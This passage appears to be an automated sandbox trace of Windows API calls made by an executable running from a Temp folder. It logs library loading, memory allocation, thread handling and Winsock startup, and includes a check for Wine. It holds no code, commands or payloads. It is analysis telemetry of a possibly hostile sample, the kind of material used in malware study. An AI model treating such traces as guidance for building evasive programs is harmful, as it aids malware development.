0x7ffd4e1ed800 [0193.518] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x7ffd4e1e6ea0 [0193.518] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetProcessPriorityBoost") returned 0x7ffd4e1ea3a0 [0193.518] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetEvent") returned 0x7ffd4e1ed7f0 [0193.518] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetErrorMode") returned 0x7ffd4e1e3ac0 [0193.518] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetConsoleCtrlHandler") returned 0x7ffd4e1ee020 [0193.518] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="ResumeThread") returned 0x7ffd4e1e4e70 [0193.518] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="PostQueuedCompletionStatus") returned 0x7ffd4e1e31f0 [0193.518] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="LoadLibraryA") returned 0x7ffd4e1e74d0 [0193.518] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="LoadLibraryW") returned 0x7ffd4e1e50f0 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetThreadContext") returned 0x7ffd4e1ec890 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetThreadContext") returned 0x7ffd4e1e6780 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetSystemInfo") returned 0x7ffd4e1e6720 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetSystemDirectoryA") returned 0x7ffd4e1e3540 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetStdHandle") returned 0x7ffd4e1e3e80 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetQueuedCompletionStatusEx") returned 0x7ffd4e1c1020 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetProcessAffinityMask") returned 0x7ffd4e1e1660 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetProcAddress") returned 0x7ffd4e1e0b80 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetEnvironmentStringsW") returned 0x7ffd4e1e6790 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetConsoleMode") returned 0x7ffd4e1edfa0 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="FreeEnvironmentStringsW") returned 0x7ffd4e1e67a0 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="ExitProcess") returned 0x7ffd4e1e4d80 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="DuplicateHandle") returned 0x7ffd4e1ed660 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CreateWaitableTimerExW") returned 0x7ffd4e1ed740 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CreateThread") returned 0x7ffd4e1e16f0 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CreateIoCompletionPort") returned 0x7ffd4e1e4440 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CreateFileA") returned 0x7ffd4e1ed8a0 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CreateEventA") returned 0x7ffd4e1ed6a0 [0193.519] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CloseHandle") returned 0x7ffd4e1ed650 [0193.520] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="AddVectoredExceptionHandler") returned 0x7ffd50542650 [0193.520] VirtualProtect (in: lpAddress=0xe40000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x5fff30 | out: lpflOldProtect=0x5fff30*=0x2) returned 1 [0193.521] VirtualProtect (in: lpAddress=0xe40000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x5fff30 | out: lpflOldProtect=0x5fff30*=0x4) returned 1 [0201.544] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffd4e1c0000 [0202.202] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="AddDllDirectory") returned 0x7ffd4d6e8030 [0202.203] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="AddVectoredContinueHandler") returned 0x7ffd5055deb0 [0202.203] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="LoadLibraryExA") returned 0x7ffd4e1e6b80 [0202.203] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="LoadLibraryExW") returned 0x7ffd4e1e0dd0 [0202.203] GetSystemDirectoryA (in: lpBuffer=0x12b7800, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0202.203] LoadLibraryExA (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4e480000 [0202.353] GetProcAddress (hModule=0x7ffd4e480000, lpProcName="SystemFunction036") returned 0x7ffd4c591a10 [0202.603] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd504d0000 [0202.604] GetProcAddress (hModule=0x7ffd504d0000, lpProcName="NtWaitForSingleObject") returned 0x7ffd50574dc0 [0202.604] GetProcAddress (hModule=0x7ffd504d0000, lpProcName="RtlGetCurrentPeb") returned 0x7ffd5055e020 [0202.604] GetProcAddress (hModule=0x7ffd504d0000, lpProcName="RtlGetNtVersionNumbers") returned 0x7ffd50551750 [0202.604] LoadLibraryExA (lpLibFileName="winmm.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4b250000 [0204.268] GetProcAddress (hModule=0x7ffd4b250000, lpProcName="timeBeginPeriod") returned 0x7ffd4b253060 [0204.268] GetProcAddress (hModule=0x7ffd4b250000, lpProcName="timeEndPeriod") returned 0x7ffd4b253330 [0204.268] LoadLibraryExA (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4e270000 [0204.277] GetProcAddress (hModule=0x7ffd4e270000, lpProcName="WSAGetOverlappedResult") returned 0x7ffd4e284bf0 [0204.277] GetProcAddress (hModule=0x7ffd504d0000, lpProcName="wine_get_version") returned 0x0 [0205.331] SetErrorMode (uMode=0x2) returned 0x1 [0205.331] SetErrorMode (uMode=0x8003) returned 0x2 [0205.331] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0xea4bc0) returned 0x6bc750 [0205.331] RtlAddVectoredContinueHandler () returned 0x6bc7b0 [0205.331] RtlAddVectoredContinueHandler () returned 0x6bc8a0 [0206.082] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0x0 [0206.083] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0206.085] RtlGetNtVersionNumbers () returned 0x7ffd50551750 [0206.085] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x5ffeb8, lpSystemAffinityMask=0x5ffeb0 | out: lpProcessAffinityMask=0x5ffeb8, lpSystemAffinityMask=0x5ffeb0) returned 1 [0206.085] GetSystemInfo (in: lpSystemInfo=0x5ffec0 | out: lpSystemInfo=0x5ffec0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0206.085] SetProcessPriorityBoost (hProcess=0xffffffffffffffff, bDisablePriorityBoost=1) returned 1 [0219.281] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x170000 [0219.291] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x1b0000 [0219.291] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0xcd0000 [0219.291] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0x26f0000 [0219.293] VirtualAlloc (lpAddress=0x0, dwSize=0x4000000, flAllocationType=0x2000, flProtect=0x4) returned 0x2ef0000 [0219.301] VirtualAlloc (lpAddress=0x0, dwSize=0x20000000, flAllocationType=0x2000, flProtect=0x4) returned 0x6ef0000 [0219.628] SystemFunction036 (in: RandomBuffer=0x12b6b98, RandomBufferLength=0x8 | out: RandomBuffer=0x12b6b98) returned 1 [0220.440] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000000000 [0220.441] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x3000, flProtect=0x4) returned 0x26ef0000 [0220.443] VirtualAlloc (lpAddress=0x0, dwSize=0x210d0, flAllocationType=0x3000, flProtect=0x4) returned 0x1d0000 [0220.587] VirtualAlloc (lpAddress=0x1b0000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1b0000 [0220.588] VirtualAlloc (lpAddress=0xd50000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0xd50000 [0220.588] VirtualAlloc (lpAddress=0x2af6000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x2af6000 [0220.588] VirtualAlloc (lpAddress=0x4f20000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4f20000 [0220.720] VirtualAlloc (lpAddress=0x17070000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x17070000 [0220.721] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x276f0000 [0221.009] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x600000 [0221.009] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x610000 [0221.010] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000000000 [0222.064] VirtualAlloc (lpAddress=0xc000002000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000002000 [0222.301] SystemFunction036 (in: RandomBuffer=0x12b7140, RandomBufferLength=0x80 | out: RandomBuffer=0x12b7140) returned 1 [0222.311] VirtualAlloc (lpAddress=0xc000004000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000004000 [0222.322] VirtualAlloc (lpAddress=0xc000006000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000006000 [0222.604] GetEnvironmentStringsW () returned 0x6c0bd0* [0222.605] VirtualAlloc (lpAddress=0xc000008000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000008000 [0222.613] VirtualAlloc (lpAddress=0xc00000a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000a000 [0222.729] VirtualAlloc (lpAddress=0xc00000c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000c000 [0222.729] VirtualAlloc (lpAddress=0xc00000e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000e000 [0222.729] VirtualAlloc (lpAddress=0xc000010000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000010000 [0222.729] VirtualAlloc (lpAddress=0xc000012000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000012000 [0222.731] VirtualAlloc (lpAddress=0xc000014000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000014000 [0222.731] VirtualAlloc (lpAddress=0xc000016000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000016000 [0222.731] FreeEnvironmentStringsW (penv=0x6c0bd0) returned 1 [0223.684] VirtualAlloc (lpAddress=0xc000018000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000018000 [0223.816] VirtualAlloc (lpAddress=0xc00001a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00001a000 [0223.981] SetConsoleCtrlHandler (HandlerRoutine=0xea6a80, Add=1) returned 1 [0223.992] LoadLibraryExA (lpLibFileName="powrprof.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4cb10000 [0224.001] GetProcAddress (hModule=0x7ffd4cb10000, lpProcName="PowerRegisterSuspendResumeNotification") returned 0x7ffd4cb11b80 [0224.001] VirtualAlloc (lpAddress=0xc00001c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00001c000 [0224.002] PowerRegisterSuspendResumeNotification (in: Flags=0x2, Recipient=0x5ffe20, RegistrationHandle=0x5ffe08 | out: RegistrationHandle=0x5ffe08) returned 0x0 [0224.456] VirtualAlloc (lpAddress=0xc00001e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00001e000 [0224.457] VirtualAlloc (lpAddress=0xc000020000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000020000 [0224.474] VirtualAlloc (lpAddress=0xc00002a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002a000 [0224.533] VirtualAlloc (lpAddress=0xc00002c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002c000 [0224.937] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x5ffe60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x5ffe60*=0xc0) returned 1 [0224.937] VirtualQuery (in: lpAddress=0x5ffe80, lpBuffer=0x5ffe80, dwLength=0x30 | out: lpBuffer=0x5ffe80*(BaseAddress=0x5ff000, AllocationBase=0x400000, AllocationProtect=0x4, __alignment1=0xfffff802, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffff9a84)) returned 0x30 [0228.211] VirtualAlloc (lpAddress=0xc000034000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000034000 [0234.436] VirtualAlloc (lpAddress=0xc000036000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000036000 [0236.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xea4da0, lpParameter=0xc000034400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4 [0236.785] CloseHandle (hObject=0xc4) returned 1 [0241.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xea4da0, lpParameter=0xc000034800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8 [0241.033] CloseHandle (hObject=0xc8) returned 1 [0241.033] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xc8 [0241.035] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xcc [0241.035] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0243.684] SetEvent (hEvent=0xd4) returned 1 [0244.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xea4da0, lpParameter=0xc000034c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc [0244.554] CloseHandle (hObject=0xdc) returned 1 [0244.554] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0244.864] VirtualAlloc (lpAddress=0xc000086000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000086000 [0244.864] VirtualAlloc (lpAddress=0xc000088000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000088000 [0244.874] SetEvent (hEvent=0xec) returned 1 [0244.874] VirtualAlloc (lpAddress=0xc000090000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000090000 [0244.883] VirtualAlloc (lpAddress=0xc000092000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000092000 [0244.883] SetEvent (hEvent=0xe0) returned 1 [0244.883] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0245.994] VirtualAlloc (lpAddress=0xc000100000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000100000 [0246.081] VirtualAlloc (lpAddress=0xc000102000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000102000 [0246.324] VirtualAlloc (lpAddress=0xc000104000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000104000 [0247.806] SetEvent (hEvent=0xd4) returned 1 [0247.806] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0248.869] VirtualAlloc (lpAddress=0xc000106000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000106000 [0252.165] VirtualAlloc (lpAddress=0xc000108000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000108000 [0253.564] SetEvent (hEvent=0xd4) returned 1 [0253.589] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0254.335] VirtualAlloc (lpAddress=0xc00010a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010a000 [0257.680] SetEvent (hEvent=0xd4) returned 1 [0257.764] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0259.244] VirtualAlloc (lpAddress=0xc00010c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010c000 [0259.643] SetEvent (hEvent=0xd4) returned 1 [0259.643] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0259.967] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4e1c0000 [0259.969] VirtualAlloc (lpAddress=0xc00010e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010e000 [0261.531] SetEvent (hEvent=0xd4) returned 1 [0261.531] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0261.689] VirtualAlloc (lpAddress=0xc000110000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000110000 [0261.690] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetStdHandle") returned 0x7ffd4e1e3e80 [0262.262] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0262.279] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0263.071] SetEvent (hEvent=0xd4) returned 1 [0263.079] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0263.787] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0265.077] SetEvent (hEvent=0xd4) returned 1 [0265.126] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0266.341] VirtualAlloc (lpAddress=0xc000112000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000112000 [0266.349] SetEvent (hEvent=0xd4) returned 1 [0266.350] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0267.260] VirtualAlloc (lpAddress=0xc000114000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000114000 [0267.448] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetSystemDirectoryW") returned 0x7ffd4e1e03c0 [0267.449] GetSystemDirectoryW (in: lpBuffer=0xc000112000, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0267.465] VirtualAlloc (lpAddress=0xc000116000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000116000 [0268.552] SetEvent (hEvent=0xd4) returned 1 [0268.553] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0269.004] VirtualAlloc (lpAddress=0xc000118000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000118000 [0269.034] VirtualAlloc (lpAddress=0xc00011a000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011a000 [0269.731] VirtualAlloc (lpAddress=0xc000128000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000128000 [0270.486] SetEvent (hEvent=0xd4) returned 1 [0270.486] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0270.753] VirtualAlloc (lpAddress=0xc00012a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012a000 [0271.053] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x660000 [0271.054] VirtualAlloc (lpAddress=0xc00012c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012c000 [0273.125] SetEvent (hEvent=0xd4) returned 1 [0273.135] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0278.654] SetEvent (hEvent=0xd4) returned 1 [0278.662] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0282.802] VirtualAlloc (lpAddress=0xc00012e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012e000 [0284.516] VirtualAlloc (lpAddress=0xc000130000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000130000 [0287.384] SetEvent (hEvent=0xd4) returned 1 [0287.399] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0287.895] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4e270000 [0288.997] SetEvent (hEvent=0xd4) returned 1 [0288.997] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0289.797] GetProcAddress (hModule=0x7ffd4e270000, lpProcName="WSAStartup") returned 0x7ffd4e284160 [0291.932] SetEvent (hEvent=0xd4) returned 1 [0292.071] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0292.697] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc000137918 | out: lpWSAData=0xc000137918) returned 0 [0293.690] SetEvent (hEvent=0xd4) returned 1 [0293.690] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0294.021] VirtualAlloc (lpAddress=0xc000138000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000138000 [0294.652] SetEvent (hEvent=0xd4) returned 1 [0294.652] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0294.920] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetFileCompletionNotificationModes") returned 0x7ffd4e1e4da0 [0294.921] GetProcAddress (hModule=0x7ffd4e270000, lpProcName="WSAEnumProtocolsW") returned 0x7ffd4e2883f0 [0294.921] WSAEnumProtocolsW (in: lpiProtocols=0xc00013aa70, lpProtocolBuffer=0xc00013aa78, lpdwBufferLength=0xc00013aa6c | out: lpProtocolBuffer=0xc00013aa78, lpdwBufferLength=0xc00013aa6c) returned 4 [0295.814] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetConsoleMode") returned 0x7ffd4e1edfa0 [0295.824] SetEvent (hEvent=0xd4) returned 1 [0295.824] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0296.101] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc00013fb64 | out: lpMode=0xc00013fb64) returned 0 [0296.138] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetFileType") returned 0x7ffd4e1edac0 [0296.138] GetFileType (hFile=0x0) returned 0x0 [0296.581] VirtualAlloc (lpAddress=0xc000140000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000140000 [0296.599] VirtualAlloc (lpAddress=0xc000142000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000142000 [0297.032] SetEvent (hEvent=0xd4) returned 1 [0297.033] SetEvent (hEvent=0xe0) returned 1 [0297.033] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0297.473] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc00013fb64 | out: lpMode=0xc00013fb64) returned 0 [0297.473] GetFileType (hFile=0x0) returned 0x0 [0297.473] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc00013fb64 | out: lpMode=0xc00013fb64) returned 0 [0297.473] GetFileType (hFile=0x0) returned 0x0 [0297.489] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetCommandLineW") returned 0x7ffd4e1e6a00 [0297.490] GetCommandLineW () returned="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87.exe" [0297.678] VirtualAlloc (lpAddress=0xc000038000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000038000 [0298.455] SetEvent (hEvent=0xec) returned 1 [0298.455] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0299.087] VirtualAlloc (lpAddress=0xc00003a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003a000 [0299.098] VirtualAlloc (lpAddress=0xc00003c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003c000 [0299.511] SetEvent (hEvent=0xec) returned 1 [0299.512] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0 [0299.694] VirtualAlloc (lpAddress=0xc000040000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000040000 [0299.747] VirtualAlloc (lpAddress=0xc000042000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000042000 [0299.895] VirtualAlloc (lpAddress=0xc000044000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000044000 Thread: id = 152 os_tid = 0x1328 Thread: id = 159 os_tid = 0x1374 [0236.965] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279efda0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279efda0*=0xc4) returned 1 [0236.965] VirtualQuery (in: lpAddress=0x279efdc0, lpBuffer=0x279efdc0, dwLength=0x30 | out: lpBuffer=0x279efdc0*(BaseAddress=0x279ef000, AllocationBase=0x277f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffff9a84)) returned 0x30 [0236.973] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0237.472] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xc8) returned 1 [0237.473] SuspendThread (hThread=0xc8) returned 0x0 [0237.473] GetThreadContext (in: hThread=0xc8, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031e48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe609e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, 